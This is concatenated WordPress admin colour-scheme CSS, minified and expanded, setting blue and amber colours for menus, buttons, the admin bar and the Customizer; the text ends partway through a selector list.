  background-color: #e5e5e5;
}

body.more-filters-opened .more-filters:before {
  color: #333;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #888;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #888;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #09cafa, 0 0 2px 1px #04a4cc;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #999;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #888;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #fff;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #999;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #04a4cc;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-right-color: #04a4cc;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #04a4cc;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-right-color: #04a4cc;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #09cafa, 0 0 2px 1px #04a4cc;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-right-color: #04a4cc;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #04a4cc;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #04a4cc;
  border-style: solid;
  box-shadow: 0 0 0 1px #04a4cc;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #04a4cc;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #04a4cc;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #04a4cc;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #09cafa, 0 0 2px 1px #04a4cc;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #04a4cc;
  color: #0073aa;
}

/* Override the theme filter highlight color for this scheme */
.theme-section.current,
.theme-filter.current {
  border-bottom-color: #04a4cc;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#096484;box-shadow:0 0 0 1px #096484}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#e1a948;color:#262a2e;box-shadow:inset 0 2px 5px -3px #e1a948}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#096484;border-color:#096484}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#064054;color:#064054}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#0c88b4;color:#021c25;box-shadow:0 0 0 1px #0c88b4}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#e1a948;border-color:#e1a948;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#e3af55;border-color:#dfa33b;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #e1a948}.wp-core-ui .button-primary:active{background:#dd9f32;border-color:#dd9f32;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#e1a948;color:#fff;border-color:#bd831f;box-shadow:inset 0 2px 5px -3px #241906}.wp-core-ui .button-group>.button.active{border-color:#e1a948}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#52accc}.wp-core-ui .wp-ui-text-primary{color:#52accc}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#096484}.wp-core-ui .wp-ui-text-highlight{color:#096484}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#e1a948}.wp-core-ui .wp-ui-text-notification{color:#e1a948}.wp-core-ui .wp-ui-text-icon{color:#e5f8ff}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #096484;color:#096484}.wrap .page-title-action:hover{color:#064054;border-color:#064054}.wrap .page-title-action:focus{border-color:#0c88b4;color:#021c25;box-shadow:0 0 0 1px #0c88b4}.view-switch a.current:before{color:#52accc}.view-switch a:hover:before{color:#e1a948}#adminmenu,#adminmenuback,#adminmenuwrap{background:#52accc}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#e5f8ff}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#096484}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#4796b3}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#4796b3}#adminmenu .wp-submenu .wp-submenu-head{color:#e2ecf1}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#e2ecf1}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#fff}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#096484}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#e1a948}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#4796b3}#collapse-button{color:#e5f8ff}#collapse-button:focus,#collapse-button:hover{color:#fff}#wpadminbar{color:#fff;background:#52accc}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#e5f8ff}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#fff;background:#4796b3}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#fff}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#fff}#wpadminbar .menupop .ab-sub-wrapper{background:#4796b3}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#74b6ce}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#e2ecf1}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#e5f8ff}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#fff}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#fff}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#e5f8ff}#wpadminbar #adminbarsearch:before{color:#e5f8ff}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#6eb9d4}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#e1a948}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#cb9841}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#6eb9d4;background-color:#6eb9d4}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info .username{color:#e2ecf1}.wp-pointer .wp-pointer-content h3{background-color:#096484;border-color:#07526c}.wp-pointer .wp-pointer-content h3:before{color:#096484}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#096484}.media-item .bar,.media-progress-bar div{background-color:#096484}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #096484}.attachment.details .check{background-color:#096484;box-shadow:0 0 0 1px #fff,0 0 0 2px #096484}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #096484}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#096484}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#096484}.theme-filter.current,.theme-section.current{border-bottom-color:#52accc}body.more-filters-opened .more-filters{color:#fff;background-color:#52accc}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#096484;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#096484;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #e8be74,0 0 2px 1px #e1a948}div#wp-responsive-toggle a:before{color:#e5f8ff}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#096484}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#4796b3}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#e5f8ff}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#096484}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#e1a948}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#e1a948}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#e1a948}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #e8be74,0 0 2px 1px #e1a948}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#e1a948;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#e1a948}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#e1a948;border-style:solid;box-shadow:0 0 0 1px #e1a948;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#e1a948}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#e1a948}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#e1a948}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #e8be74,0 0 2px 1px #e1a948}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#e1a948;color:#0073aa}/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #096484;
  box-shadow: 0 0 0 1px #096484;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #e1a948;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #e1a948;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #096484;
  border-color: #096484;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #064054;
  color: #064054;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #0c88b4;
  color: #021c25;
  box-shadow: 0 0 0 1px #0c88b4;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #e1a948;
  border-color: #e1a948;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #e3af55;
  border-color: #dfa33b;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #e1a948;
}
.wp-core-ui .button-primary:active {
  background: #dd9f32;
  border-color: #dd9f32;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #e1a948;
  color: #fff;
  border-color: #bd831f;
  box-shadow: inset 0 2px 5px -3px #241906;
}
.wp-core-ui .button-group > .button.active {
  border-color: #e1a948;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #52accc;
}
.wp-core-ui .wp-ui-text-primary {
  color: #52accc;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #096484;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #096484;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #e1a948;
}
.wp-core-ui .wp-ui-text-notification {
  color: #e1a948;
}
.wp-core-ui .wp-ui-text-icon {
  color: #e5f8ff;
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #096484;
  color: #096484;
}

.wrap .page-title-action:hover {
  color: #064054;
  border-color: #064054;
}

.wrap .page-title-action:focus {
  border-color: #0c88b4;
  color: #021c25;
  box-shadow: 0 0 0 1px #0c88b4;
}

.view-switch a.current:before {
  color: #52accc;
}

.view-switch a:hover:before {
  color: #e1a948;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #52accc;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #e5f8ff;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #096484;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
